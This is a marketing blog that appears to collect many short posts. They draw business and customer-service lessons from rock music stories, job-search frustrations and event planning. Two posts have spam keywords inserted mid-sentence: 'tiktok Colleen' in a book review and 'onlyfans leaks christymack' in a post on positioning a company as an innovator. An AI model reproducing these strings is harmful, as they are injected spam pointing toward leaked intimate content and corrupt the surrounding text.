You may not have to learn a new instrument to have a new idea. Dave Stewart of the Eurythmics was asked to identify the secret of his success as a songwriter and producer. He said if you’re struggling for an idea, put it away you’ll get another idea eventually. Work on something else. Trust your creativity. And that from a guy who has been on the ballot for the Rock and Roll Hall of Fame and has produced Mick Jagger, Daryl Hall, Bob Dylan, and a few other people you may have heard of.

The idea is to do what you have to do to keep your creativity fresh despite deadline pressures, writer’s block, and an ever-mounting workload. Put it away if you have to and come back to it. You’ll find the idea tree full of fresh fruit before you know it.

Ireland, rhythm and blues, and the thrill of being in a new band. Sounds like a perfect mix, right? They were all plot elements of the 1991 movie The Commitments, in which a group of scruffy people banded together to form a 1960s-style rock and soul revue in the unlikely city of Dublin.

During one of the band’s earliest practice sessions, the most experienced group member urged his bandmates to dress like their heroes (think Sam & Dave, Wilson Pickett, the Temptations) who wore suits onstage. His advice: “You always play better when you wear your suit.”

What does that mean in our day-to-day lives? I am not advocating that anyone wear a suit to work unless your role calls for it. That went out of style decades ago. But whatever job you do, dress right for the part. Even if you work from home, and I will say more about that later.

Early in my career I was between jobs and joined a club for others in job transition. The club leveraged the knowledge of its members and volunteers to train people in prospecting, resume writing, and interview preparation. One of the people I met there was a senior executive in financial services who lost his job when his employer was acquired by a competitor. In those days, financial services people wore suits and ties to work. A suit was this executive’s standard working uniform, and he told me that when he was doing research and job prospecting, he wore a suit. It was how he felt comfortable and ready for business. Putting on a suit got him into the mindset of potential employers; plus if he got a call for an interview that day, he was ready to go.

Since I primarily work from home, I have the luxury of dressing any way I want for work. My typical working uniform is business casual – khaki pants or jeans, button-down shirt, and shoes. I’d wear the same if I worked in an office. It helps me get into the role and keeps me focused. Similarly, I would be ready to roll out to a customer meeting.

If you are comfortable and productive in your job, dress for the part. You’ll play better when you are wearing the right suit for you.

Let’s face it – there are lots of people who want to be around celebrities. Every industry has them; they don’t have to be in pop culture. There are people who are noted for being good at what they do while others are legends in their own minds. As a marketing professional, I’ve run hundreds of trade shows, client conferences, and employee events. Adding a celebrity to host or serve as the drawing card for your event can be a blessing or a curse. This blog post presents two blessings and two curses. Three are well-known in their respective fields and one is no longer with us.

Blessing – Tim Sanders

When I worked for a company that provided customer care for the world’s leading brands, we hired Tim Sanders (early-stage employee of Broadcast.com who stayed on as Chief Solutions Officer following it’s sale to Yahoo, now a published author and speaker) as a featured speaker at our annual client conference. My role included vetting the speakers to ensure there was continuity of message, briefing speakers on the audiences, and helping any way I could with their speaking slot. Although I usually glanced through their books, I read Tim’s “Love is the Killer App” and enjoyed every paragraph. So our conversations flowed nicely. Tim was a total pleasure to work with and wowed a very tough crowd. He was the only speaker that received 10 out of 10 rankings from the 100+ customer experience experts in the audience.

Curse – the Cash Cab Guy

With every blessing there is a curse. The same company’s client conference featured evening entertainment – dinner on a mountaintop in Aspen, a black-tie special event complete with red carpet at Universal Studios, you get the drill. My colleagues and I thought the audience could use a laugh that year, so we sought a comedian. We viewed hundreds of clips and decided that Ben Bailey, the host of “Cash Cab” (a trivia game show that takes place in a Manhattan taxi), was the one. His clips were good, clean fun. Remember the Beatles’ “Paul is Dead” rumors? Perhaps Ben was replaced by a lookalike when he took the stage. Being no prude, I was raised by sailors and swear like the best of them. But this guy took working blue to a whole new level! Every sentence had expletives. No filter. The audience hated the experience so much that the company did not hold the event the following year.

Curse – Spoonman

A former employer held a major product launch party following an industry trade show in Seattle. We hired Artis the Spoonman (a local performance artist and the subject of the Grammy-winning song by Soundgarden) as the evening’s entertainment. Big mistake. Neither Spoonman nor his handlers took any of my pre-event phone calls. We became concerned that he would be a no-show. He showed up but was late and left the audience waiting. When I outstretched my hand for a handshake, he held his arms behind his back and coldly replied, “Spoonman does not shake hands.” OK, I get it. Beware of people who refers to themselves in the third person. That was the highlight of his performance. He seemed to not want to be there and left the second his performance ended.

Blessing – Tim Conover

Another blessing and one of the finest individuals I’ve ever worked with. When I joined an 80-year-old radio manufacturer, we wanted to add some pizzazz to our trade shows. A colleague suggested a magician named Tim Conover. Tim was no mere magician. His first career was as an engineer who had co-developed the modem. He combined the technical smarts to understand the products with the stagecraft of a master. I merely sent him some product catalogs and he created magic tricks about them! Who could have imagined the Project 25 standard for intereoperability as a rope trick! He thrilled every crowd and loved hanging out with us. We considered him an indispensable member of our intrepid little band. The job title on his booth badge was Traffic Magnet, and Tim kept our booth packed with the right people. Year upon year. He died tragically a few years ago. Godspeed Tim.

The lesson in all this? It is OK to hire a celebrity for your event. Just make sure you partner with the celebrity to ensure they understand your brand, your audience, and your expectations.

 

 

 

Many organizations prefer to group Sales and Marketing together. The head of such a combined organization typically has SVP of Sales and Marketing in their title. The executive presides over two very different organizations. But which one are they? Are they a sales person or a marketing person? The truly rare bird has been both in their career. I am proud to say that I am one of those birds. I began my career as a highly successful B2B sales person for a subsidiary of a Fortune 1000 company, selling CD-based training programs to corporate safety directors, industrial hygienists, and human resources leaders. Not to toot my own horn too loudly, but I sold the biggest deal in the product line’s history. So I know what it takes to put a capture team together, to shepherd a deal from initial contact to service delivery, and to ask for the order. I’ve done it numerous times. The marketing aspects of the job – creating the sales tools, developing the campaigns, and running the events – held more interest for me, so I focused on marketing as a career path. Those 3+ years as a sales person were the best education a marketer could ask for.

Back to sales and marketing. Not every sales person is a marketer, and not every marketer is a sales person. These two vital roles are often confused in the organization. Which becomes increasingly clear in every job search I’ve undertaken. Read the job description, not just the title. Jobs that are posted as “Director of Sales and Marketing” are usually sales reps that are required to do their own lead generation. Such roles do a disservice to the companies and ultimately the employee. Similarly, I applied to a “Marketing Director” position with an outsourcing firm. The description in the posting sounded like a great fit. It described developing marketing plans, creating sales tools, segmentation, budgets, campaigns, and events. But when I called the company to follow up on my application status, I got an earful. The HR person said they are looking for someone to call on companies within a territory to sell their services. She said the Marketing Director is expected to have their own rolodex of prospects to call on, and should make at least 50 outbound calls and 50 outbound emails a day. Sounds like a sales position, doesn’t it? I was told that they titled the position “Marketing Director” because sales people cost too much. So the solution is to bolt a marketing title onto a sales role, save some money, and maybe nobody notices. Sales and marketing, all the same, right?

Truth is, sales and marketing are different roles. The relationship is symbiotic. Not to oversimplify but Sales people need a pipeline, a credible product/service to sell, and the right sales tools to make their quota. Marketing, in turn, is the provider of pipeline, visibility, sales tools, and (in some organizations) the product. The success of the two roles are inextricably linked. Sales cannot sell without Marketing laying the ground work, and Marketing cannot be effective if Sales does not sell using what Marketing provides.  One, but not the same.

This is Part One of a series…

 

Your customers have a multitude of channels through which they can interact with you. Does that make them omnichannel or multichannel? It doesn’t really matter, so long as your customer service team has visibility into all of the communication channels your customers use. This applies to everyone who faces your customers, whether they are store employees, in-house call center team, or outsourced partners. Consistency of customer experience across these disparate channels is key. A customer can start a query on her phone, check online reviews on a website, open a web chat to verify further, and then complete the purchase at the store. Any point along the way is a potential gain or loss. A successful customer experience involves minimal effort on the part of the customer and seamless integration.

My recent experience with a telecom carrier is a case study in omnichannel confusion. I wanted to set up direct bill of my cellphone to my corporate credit card. Should be an easy transaction, right? On the first call, the carrier was more interested in changing my password than in my billing. Every time I called their call center, they would only reset my password. On one call they suggested I visit a brick-and-mortar store, but the store had no record that I was already a customer. I called ten times and spoke with ten different agents, who reset my password ten times. My new password is an alphanumeric anagram of the atomic weight of Promethium, the birth dates of two childhood pets, and two Rickenbacker guitar models. But no direct bill. So I took to Twitter. The carrier’s Twitter team couldn’t verify that I was their customer. To further complicate matters, the call center agents had no visibility into the Twitter team’s records or my store visit. Apparently the three channels use separate databases and vendor partners that have neither an intersection point nor the ability to share data. Thus the seeds of channel discontent are sown. My personal case should not have taken multiple calls, a store visit, half a dozen tweets, and hundreds of hours of frustration.

The lesson learned is whatever the channel(s) your customer chooses, make sure the channels can reference the same contact information and customer interaction activity. Omni channel can be a beautiful thing when properly executed. Channel compatibility can make for an exceptional customer experience.

 

 

The world was stunned this week by the sudden death of David Bowie. He released an album only last week (on his 69th birthday) and from this fan’s perspective it was great to have him back in the spotlight. Bowie defied almost every convention over a five-decade career that spanned multiple music genres, movies, theater, art and more. Someday, a dictionary will show his photo as the example of “chameleonic.”  He taught the world so much.

Here are a few lessons learned from the man born David Jones:

Reinvention as an art form

Ziggy Stardust? The Thin White Duke? Elephant Man? He had numerous alter egos and personas, each perfectly matched the music to the character. The muscular guitar figures of the late great Mick Ronson of the Ziggy era were nothing like the sinewy funk lines of Carlos Alomar and Earl Slick of his Thin White Duke period, which presaged the Stratocaster  pyrotechnics of Stevie Ray Vaughan on Let’s Dance. He ditched the disco getup for the tailored suits and serrated guitar work of Reeves Gabrels for his Tin Machine days. These personas and musical styles had a common thread – the unmistakable voice and compositional chops of Bowie.  The lesson learned is, don’t be afraid to try or be something new.

Collaboration across generations

Bowie worked with so many different and varied artists who helped shape his sound and vision. One of the more bizarre television appearances I’ve ever seen was his duet with Bing Crosby on a Christmas special. With an age gap of more than 40 years, Crosby had no idea who this strange creature was singing with him. But that didn’t stop them from sounding great together! Their accomplishments in music and the movies actually gave the two stars significant common ground. Another Bowie collaboration grew out of a conversation at a dinner party. John Lennon and David Bowie discussed the path to fame, and once a level of fame is achieved the famous try to deconstruct and downplay it. The resulting song displays some of Lennon’s finest guitar work.  Bowie would later re-record the song with Queen Latifah (born Dana Owens), then an up-and-coming singer.  One of my favorite songs from the 1980s is Under Pressure, the brilliant duet that Bowie recorded with British rock legends Queen. He had been friends with their singer, Freddy Mercury (born Farrokh Bulsara) for years and they shared a love of presenting rock as a visual spectacle. Can you sense a pattern with his collaborators?

Great Risk Great Reward

His innovations stretched into the unlikely worlds of finance and technology. Bowie was one of the first celebrities to offer bonds on his back catalog. Bowie Bonds were asset-backed securities of current and future revenues of the 25 albums (287 songs) that Bowie recorded before 1990. The idea was pioneered by investment banker David Pullman, and the bonds issued by Prudential in 1997. At one time, Bowie Bonds had  a higher rate of return than a 10-year Treasury note!

His footprint in technology was also significant. In September 1998, Bowie launched his own Internet service provider, BowieNet. Subscribers to the dial-up service were offered exclusive content, as well as a BowieNet email address and regular Internet access. Although the service was closed in 2006, Bowie was again a pioneer in another world.

One of the true originals has left us, and made an indelible mark on our world. The stars do look very different today.

Six strings, four strings, it’s all the same, right? Wrong (imagine Dana Carvey as John McLaughlin in his most bellicose bellowing)!  The ukulele and the guitar may both be stringed instruments, but there are many differences in how they are strung, tuned, and played. I’ve been playing guitar for decades and can voice most chords on the guitar without thinking. Which is where the little uke comes in. It has only 4 strings (from low to high: G, C, E, and A) for you to express yourself.

As a musicianship exercise, last weekend I took a few songs that I knew well on the guitar and rearranged them for ukulele. The point of the exercise was to get me thinking about chords, structures, and shapes in a new way. Liberate my thinking a little. My first rearrangement was “Mona Lisas and Mad Hatters,” one of the most beautiful and under-appreciated songs in the Elton John catalog. Pick up his 1972 gem “Honky Chateau” and you’ll find it is full of treasures.  In fact, Rolling Stone ranked it number 357 on its list of the 500 greatest albums of all time (2003 version of the ranking).  The song was inspired by Elton’s lyricist Bernie Taupin hearing gunshots outside his hotel room during his first trip to New York. So the song states that “Rose of Spanish Harlem” is just a myth, rose trees never grow in New York City – powerful stuff to me, since I grew up half an hour by train from New York and have sworn I’ve seen many trees alive and well.

I’ve been playing the song on guitar for years and can usually play it from memory. But the C, A minor. and  other chords in the song are much different on the ukulele. Your fingers wind up going to places you (and they) never thought they’d go. Be ready to take your mind to different places too!  The transition to a different instrument taught me a lot about the song and showed me things I didn’t know were there!

Which brings me to the topic of this post. There is an opportunity to stretch yourself in everything you do. You are never too old, too set in your ways, or too structured to learn something new. Even if you think that you know something well, looking at it differently can teach you new things. So go back over that customer engagement survey and look for some new insights. Ask a client if what you do in another vertical could work in theirs. Look into a new cloud technology. As the song says, turn around and say “good morning” to the night.

The other day I attended an excellent webinar by Grant Leboff named What the Sex Pistols Can Teach You About Marketing. That’s right – The Sex Pistols. Johnny Rotten, Steve Jones, Paul Cook, Glen Matlock, and his replacement Sid Vicious. As a fan of the group, whenever “Anarchy in the UK” is on the airwaves I test my car stereo’s volume limits. And with such an intriguing title to a webinar, I just had to join!

Marketing lessons from bands always pique my curiosity. I wrote a  blog post to express my thoughts on the excellent book Marketing Lessons From The Grateful Dead, and was positively stoked to attend this webinar. San Francisco’s jam-happy Dead can be considered the antithesis to London’s loud and fast Pistols. But both bands have much to teach marketers.

Consider the Sex Pistols. The group was put together by Malcolm McLaren, a British entrepreneur who had advised punk progenitors The New York Dolls. McLaren also owned a clothing store in London, and the band members were habitues of the store. Although the band was of limited musical competence, their career lasted less than three years, and their catalog consisted of one proper album, we are still talking about them more than 35 years after they disbanded during a disastrous US tour.

Why? Mr. Leboff offers a few lessons. First, it is not about the music. Steve Jones of the Sex Pistols responded to a critic during their late 1970s heyday: It has nothing to do with about music at all, you silly cow! Looking back, they were about the total experience of music, fashion, and attitude.

Lessons learned:

• Marketing is not a means to an end. It has to have value. Don’t just market your product or service because you have to; make it a true value to your business.
• Find your influencers. McLaren had connections, and he knew how to open doors. His guidance provided access to the mainstream British media and the underground press that was championing the punk movement.
• Marketing is not about products and services. Marketing is about people. Your customers are more than just account numbers; make your customers your heroes. The Sex Pistols made their fans the hero, which predated social media by decades.
• Marketing is about building communities. Fans of the Sex Pistols were known as the Bromley Contingent (many of the early ones were denizens of this London neighborhood). Fans were eager to spread the word about the band. They gave their time, which is as important as giving of their wallets.
• Capture imagination with an ethos behind your business. What’s your ethos? Back in 1975 (when the Sex Pistols were getting started), Microsoft had the ethos of “a computer on every desk top.” Back then the phrase was two words, and Microsoft helped make the phrase synonymous with the computer. Your ethos informs your value proposition. Steve Jones described the Sex Pistols’ ethos as “we aren’t into music, we’re into chaos.” Disruption, anyone?
• Context is everything. How did a band with very little output, that repeatedly dropped F bombs on live television, and turned sneering into a spectator sport, become so popular? They were disruptive and manipulated the media by thinking like them.

Marketing professionals, think like the media. Make your customer the hero. Don’t be afraid to be disruptive. Perhaps you too can be inducted into the Rock and Roll Hall of Fame (the Pistols were inducted in 2006).

These days I am in full-time job search mode, which I would not wish upon anyone. This is an emotional roller-coaster. You spend your days developing and maintaining contact lists, spending hours applying to positions, wrestling with applicant tracking systems, making follow-up phone calls, preparing for interviews, (if you are very lucky) interviews, and trying to contain your anger when you learn that the position you thought was right for you was filled internally . Every day.

Having begun my first career in sales, I dutifully make a follow-up phone call on every resume I send. Those calls rarely go well. I am astounded at the number of people who do not take phone calls. If you do catch a live person (and I do believe they are out there), their mood can usually be characterized as surly or dismissive.

When I make these follow-up calls, people on the other side of the conversation often remind me a song from 1975 or so, “Don’t Call Us, We’ll Call You.” This song, by the Colorado-based band Sugarloaf, tells the story of the band channeling their frustrations of little interest from record companies into bubblegum sarcasm. The song’s title and chorus was all they ever heard, if they received any response at all. The band got into some trouble because the song mentioned the phone number of a record company executive, who was apparently less than welcoming. That errant use of a phone number in the song made it a fluke hit.

The phrase has even crept its way into software coding. The Hollywood Principle is a software design methodology that takes its name from the cliché response given to auditioning hopefuls in Hollywood: “Don’t call us, we’ll call you”. Wikipedia tells us that it is a useful paradigm that assists in the development of code with high cohesion and low coupling that is easier to debug, maintain and test. I much prefer the fluke hit.

Maybe I need a fluke hit, because I hear the chorus every weekday.

A client recently asked us to develop a PR plan. Great, we can work with them to develop their key messages and help influence how their audience perceives them. Later that day, the same client asked for a social media plan as well. Wait a minute, shouldn’t they be one plan? Sure, you can involve public relations, social media, advertising, community relations, and events, but make sure the channels fit together into one plan.

Why only one plan when there are so many channels? Consider your audience. People will find out about you through web searches, advertising, newspapers, email, articles, events, and social media. Wouldn’t you want them to receive the same consistent message, regardless of where they find it?

Putting your communication plan together involves asking yourself a lot of questions. The questions all relate to the following four statements.

• Articulate what you do, and what you do better than anyone else. Describe what your business does in one sentence; feel free to include the products or services you provide. Now the tough part – what does your company do better than anyone else? Ask yourself and your customers this question. The customer’s answer could be a real eye-opener. For example, I once worked for a telecom equipment manufacturer that was about to roll out a “quality products” themed global marketing campaign. We were certain that product quality was our differentiator. But our customers had other ideas. A customer focus group told us that our products were terrible! A customer said the only reason he bought from us was because we replaced the faulty stuff with no questions asked. So the true test is how your customers would answer the “what do you do better” question.
• Define the audience. Who do you want to reach with your communications? Are you targeting the local business community, customers (current and potential), investors, business partners, employees, or combinations of the above? Once you have defined your audience, make a list of what is important to each of them.
• Identify your key messages. Now that you’ve identified your audience and what you do for them, you can list what are the most important things you want your audience to know about you. Whether you are the innovator, the low-cost provider, or the communications counsel to the stars, make sure the key points are in your messaging.
• Identify the channels. Back to the idea of the single communications plan. Where does your audience go to learn about new products, services, and developments? What do they read? Do they prefer digital or traditional media? Are they active on social media? Do they attend trade shows or conferences? What kind of content do they need? The answers will lead you to the right channels.

Present a single communications strategy with all of the channels as components of an integrated strategy. There is (hopefully) only one you. Regardless of where you want your name to appear, roll out the same consistent message to all of your communication channels.

My favorite band, The Who, is now in the final throes of their 50th anniversary tour. Half a century together, and half of the band is still with us.

“5:15” is one of my favorite songs by The Who, and for many reasons.  We the listener are treated to Chuck Berry-style guitar riffs, a cascade of real horns, staccato passages, the caterwauling drum extravaganza that was Keith Moon, and Roger Daltrey in full-throated cry.  Who Heaven for 5 whole minutes. The intro to “5:15” pops into my head whenever I write something new.  It starts cold and quiet, with a piano and guitar trading choppy riffs, and Pete Townsend asking the listener, “Why should I care, Why should I care…,”

And why should I care? It is the duty of every writer – whether you are writing a press release, case study, white paper, blog post, radio commercial, or work of fiction – to ask yourself why the reader should care. Every word should draw the reader into the story. Make them yearn for the next sentence.

Try asking yourself, why should the reader care, with every word you write.

Then I dare you to get the crashing horn sounds out of your head!

Everybody is busy. Your boss is busy. Your colleagues are busy. Your customers are busy. The people who cut the grass, the mail carriers, the construction workers waving the flags. Busy. Even the cat is busy, if the task of converting everything in the house into a cat toy can qualify.  Why we are all busy is another blog post but everyone has their reasons.

Yesterday it hit me. Nobody is really any busier than anyone else. Really. We all work at a different pace and respond to requests for our time and services in different ways. But if I am someone’s customer (defining the term as someone from whom I am expecting some material goods or service or intellectual property), the last thing I want in a response is “I am busy.”

Here is what hit me. Telling me you are busy is really telling me that I am unimportant. The needs of someone else come before mine.  OK, maybe someone is paying more for your service, or has been your customer longer than me, or has a more stringent deadline, or someone else got in your queue ahead of me. I get all that and it is likely you do too. A response of “I am busy” does not artificially inflate your demand. Hopefully I am not your only customer, acknowledge that to yourself but never make your customers feel like you’ve consigned them to the queue.

So don’t tell your customers that you are busy. Nobody wants to hear that. Treat them like they are your only customer. How do you think that will impact your customer retention efforts?

The concept of the webinar has been with us for more than a decade. The whole idea, as its name implies, is a web-based seminar. I am proud to say that I’ve introduced the concept to two different companies and consider it a communication channel of choice. You can gather as many people as your connection can stand, pontificate on the topic at hand, entertain questions, and truly share knowledge for a very reasonable cost. These are all reasons why the webinar has become so popular yet at the same time have driven the channel into a funk.

At one time my heart would skip a beat when I received an invitation to a webinar. Really. The very thought of being invited to a web-based opportunity to learn something and to have some instructive dialog with an industry expert was a highlight of my day. Turn up the speakers (or in my present work space, crank up the headphones) and enjoy the learning. Then something happened. They became something to dread. My desk phone would ring, and a distant voice with a difficult-to-understand accent would call to invite me to a webinar that was way outside my areas of interest. Forget about asking them for clarification on the topic; the voice (is that a vacuum cleaner in their hand? have they figured out how to talk through a fuzz box?) is only there to push attendance. Content has been dethroned.

What went wrong? At the risk of sounding like Andy Rooney, I’ve identified the following list of why webinars have become passé.

• Invitations have become invasive. Just send me one email to invite me. And only one call per day is acceptable. One such provider called me 5 times on Friday!
• Sign-up forms have become opportunities for that distant voice to shove a white paper or demo down my throat. Just because I signed up for a webinar doesn’t mean I want every piece of content your company provides.
• Lame login process. The mere act of logging in has become a challenge. Click on the email link to visit a landing page to visit another landing page with a “webinar will start shortly” message plastered on it. Then wait.
• Actually I’m late. Is punctuality extinct? Why does every webinar start late? Why does it sound like the presenters just rushed into the room, completely unprepared? Does anyone rehearse anymore? From now on I will charge the webinar host $200 every time I hear an “um” and $100 every time I hear the word “actually” – the word seems to be used in lieu of punctuation. But I digress; “actually” is another blog post.
• Content, once King, is now crap. Whatever happened to content? Most of the webinars I’ve attended recently have been really boring. After about 10 minutes I have figured out that this isn’t for me and bail out on the party.
• The webinar has morphed into a thinly-disguised attempt to sell me something. I am not at all against commerce, I would rather learn about a new application or technology without sitting through an infomercial. Sell me something when I decide that I might be a prospect for you.

OK, so the webinar may still have its benefits and uses as a communications channel. But please, Oh Webinar Purveyor, please limit to only one invitation.

The London Olympics, incredible as they were, are now just a memory. Something struck me during the opening ceremony and then the closing one – there were more people-of-a-certain-age involved than I ever remember seeing during a Games. The opening ceremony called to attention the several athletes who were in their sixties and even older. Bob Costas, 60, noted with pride that he was younger than several Olympic athletes. And who was the closing act of that opening ceremony? None other than Sir Paul McCartney (didn’t he write the book on the sixties?) who had turned 70 a few days before the Games began. Here’s to rocking into your wheelchair years!

And who could forget the closing ceremony? There were performers of all ages. The Who (combined age of the two surviving members is 135) and their contemporaries Queen, and people in their 40s or a bit older – Spice Girls, Blur, Beady Eye, and George Michael. The show organizers dug deep into the vaults to resurrect Take That, Madness, Pet Shop Boys, and Annie Lennox. One artist I was hoping to see was Kate Bush (one of her songs was used), who is likely still gorgeous at 54. All in all an incredible cross-section of English music, a brilliant bunch of performances, and a gentle reminder that we all get old someday.

The only people who don’t get old are the gymnasts. In fact, their age seems to decrease every year. It seems that not long ago, Nadia Comaneci and I were about the same age; we still are, but now we are old enough to be the parents of the current crop of gymnasts competing. Time marches on.

Remember the “forgot password” button that used to be on most websites? The one that used to send you your password if you couldn’t remember which one of the dozen you used? Forget it, it is about as dead as Milli Vanilli. What replaced it is a “forgot password” button that forces you to reset your password immediately. No time to think, just type.

I am not one for excuses, but this is the reason why I haven’t entered anything on my blog in such a long time. Apparently my host, WordPress, reset passwords a while ago. They didn’t accept the one that I not only entered correctly, but carefully wrote it down. WordPress made me create a new password then told me it wasn’t strong enough. Then I could not reuse the old one. Gotcha twice.

What’s in a password, anyway? According to an article on Yahoo a month or two ago, one of most popular passwords is supposed to be 12341234. I didn’t realize there were still so many Ramones fans out there! Glad to see that Forest Hills’ Finest is still making an impression.

The point here is do not expect a website to store or remember a password for you. Write it down, but if you forget it, “Sheena is a Punk Rocker” would make a great one and probably strong enough for any website.

Driving in to the office this morning, I heard the Coldplay song “Viva La Vida” on the radio. So naturally I turned it up loud and sang along; the band is one of my favorites. Their creation story – four guys who met at university freshman orientation went on to form a band, and steadily grew in their musical confidence – strongly resonates with me. In my opinion they haven’t made a bad album.

But there is one line in that song that usually makes me chuckle yet this morning it got me thinking.

“Now in the morning I sleep alone, sweep the streets that I used to own” is the line. Yeah, we have all been there. What caused my mind to race this morning was the notion of sweeping the streets when you used to own them. Did you sweep the street when you owned it? Why the heck not? Now, that would be impressive. It was your street, so own the work.

No task is too small if you own the place. Embrace your inner entrepreneur. Take ownership. Sweep the street.

One of the earliest comments my parents made about me was that I “always had my nose in a book.” That is still true today; I am often reading one book for professional development and another for pleasure. tiktok Colleen One recent book – Marketing Lessons from the Grateful Dead by David Meerman Scott and Brian Halligan – was a little of both. Although not technically a deadhead, I have seen the band in concert a few times and own a couple of their albums. I’ve always admired their approach and their pure love of music. Mr. Scott and Mr. Halligan tie much of the Grateful Dead’s activities to marketing lessons. For example, the band was practicing social media back in 1965 or so, long before the term was coined. Their mailing list was meticulous, even though their stage demeanor may have been a bit on the lackadaisical side. And rather than try to close down the merchants in the parking lots at their concerts, the band embraced them (albeit keeping the brand attributes intact by making sure the merchants knew how not to stretch or skew the logo). Embracing was a key to the Grateful Dead ethos. Nobody, no matter how weird, was considered a misfit. I could go on and on about the book because it is a great poolside (or short flight) read. Truth is, the Grateful Dead taught us many lessons about running a very successful business in a not very conventional way. We have a lot to learn. Listen to the band.

Begin at the beginning, but visualize the outcome. Decide who you want people to know you for and then build toward that goal. Here is an example. My previous employer was doing many innovative things with their products (in fact, beating the 800 pound and 500 pound gorillas to these innovations by a year or two), yet the company was not known for its innovations. So we decided on a strategic use of communication to position the 80-year-old company as an innovator. Every press release, case study, article, white paper, web site page, product spec sheet, and PowerPoint presentation was developed to support this theme. My media outreach also centered on innovation. The tactics are simple: befriend the industry press, help them out wherever possible, invite them to your booth during trade shows, and ask for their feedback. When I planned to include an online news room in the new website, I asked the trade press what they needed in the site. Their feedback made the site one of the best in the business. But I digress from the innovation story… The results of the innovation positioning speak for themselves. onlyfans leaks christymack Within a year, the target audience awareness of us as an innovator increased by 50%. The company won three consecutive “Hot Product” awards in 3 years, and received several innovation award nominations. Now many of our products have a first name of ‘award-winning.’ Although it may take some time before this effort translates into sales, it definitely positions the company in the forefront of a dynamic industry.

By now, the news of Ann Curry’s commencement speech at Wheaton College has circled the globe a few times. To make a long story short, she confused the college in Massachusetts (where she was speaking) with a similarly named school in Illinois.  Ouch. But to her credit, she did apologize and say she was “mortified” by her mistake.

What can we learn from all this?A few lessons…

Check your research. Check it again. Even if you are reading it off the teleprompter, make sure what you are reading is true. Own your research and stand by it.

Own up to the mistake. Sure, you confused two similarly named colleges that are half a country apart. But admit you were wrong, admit you were sorry for the gaffe, and move on.

Take corrective action. Learn from what you did wrong. Put corrective measures in place. Perhaps this means take a little more time with your research, trust but verify what is put in front of you, install checkpoints, find an additional set of eyes to review, whatever it takes. Sure, these measures take longer than what you were doing before, but the extra time will be worth it.

Oh, and Happy Memorial Day!!!

Your company’s messaging should pervade the entire organization, not just the output from your marketing department. Think of your messaging as that wonderful smell of fresh bread baking in the oven. You can usually smell it throughout the house. Below is an example of behavior that not only is totally out of whack with the company’s messaging, but it stinks up the joint like last week’s boiled cabbage.

I’ve applied for a position at a company that goes to great lengths (not to mention expense) to brand themselves as fun, friendly and easy to like. But when I called to follow up on the status of my application, my request was met with something not far removed from “how dare you call us, we do not accept calls from the likes of you.” Wow. Nothing fun, friendly, or likable in that message. Perhaps they should change their corporate theme song to that 1970’s rarity “Don’t call us, we’ll call you.”

The key takeaway: slogans and messages are wonderful (and I have been blessed  to have come up with a few good ones) only if they are pervasive and consistent throughout the entire organization. Make sure everyone in the company understands and lives up to the slogan – especially the people who are customer-facing.

You never know when or where you will meet a friend.

When I was first establishing my cadre of vendors in Dallas, I received a call from someone who sells marketing specialties. You know, stuff with your logo on it that you give away at trade shows (or trade them with fellow exhibitors if the show is really slow). My former employer’s target audience was government officials, so there wasn’t a huge call for such items. But he asked for the meeting and I obliged.

He arrived at the meeting bearing a gift – a New York Islanders key chain. The Islanders are my home town team and still my NHL favorite. That sparked quite a conversation. It turns out that we grew up about 15 miles from each other and graduated high school the same year. Had he gone to parochial school we would have been classmates! Small world, isn’t it.

He is more than just someone who sells marketing specialties. He is a savvy businessman who has been one of my trusted advisors and cheerleaders during my job search.

Lessons learned: take the meeting. Don’t be afraid to bear or receive gifts.

Did you ever think you would learn about respect for your customers at a rock concert? Let me tell you about it.

In November 2003 I attended a Duran Duran concert at the Warner Theater in Washington, DC. The original lineup of the band had reunited after nearly twenty years, and they were playing smaller theaters to test the waters of this reunion.

A minute or so into the second song, one of guitarist Andy Taylor’s Vox modeling amps broke down. Singer Simon Le Bon told the audience, “We have a full-blown catastrophe here, and we need to fix it. We want to give you the best show possible so we will stop the show for a little while and fix the amplifier.” Simon went on, “We will turn the house music back on, and by the way, the bar is open. Please have a drink on us while we sort this out.”

This is the respect for the audience that I alluded to at the start of this post. Instead of slogging through what could have been a mediocre show with a blown-out guitar amplifier (after more than 30 years of playing on the road that is something I wouldn’t do), they admitted they had a problem and stopped the show to fix it. While they were hunkered down in repair mode, they made sure the audience still had a good time. Simon took the stage periodically to provide updates and tell jokes. Who knew that this dynamic frontman was also a stand-up comedian?!? After nearly an hour they fixed the amplifier and resumed the show. They played longer than their standard set and with an enthusiasm that was contagious.

Lessons learned: Duran Duran not only put on a phenomenal show, they gave a clinic in customer service – respect your audience, admit when you’ve done something wrong, fix it, keep the audience engaged, and come back with your best.

Even though I had been a fan for 22 years, their performance that night and their respect for their fans confirmed that I would be a Durannie for life.

Searching for a job is hard work. Perhaps the hardest part is the countless hours on the telephone. This directly relates to the vanishing voice of the customer, so please read on…

I recently saw an ad for a position with a telecom service provider for which I would be ideally suited. The ad clearly stated apply on our website. Unfortunately, the job was not posted anywhere on their website, so I called the company. I then entered into the “deaf to the customer zone.” Nobody answered during business hours, so I tried my luck with the dial-by-number directory. The employee mentioned in the job ad was not in the directory. I attempted dialing into the customer service queue. Its greeting began with “Please enter a name. We can only respond to customers who call us by name.”

Allusions to Dante’s circles of hell and the futility expressed by Kafka began to become extremely clear. This was yet another company, whose very product and service proved to be its greatest barrier to customer intimacy. They made themselves deaf to their own customers.

Welcome! My blog will cover a range of topics that are pertinent to marketing communications, media relations, social media, lead generation, and sales tool creation.

Although the purpose of marketing is to sell stuff (or services), the purpose of this blog is information rather than the slinging of hash.

Your comments are most welcome.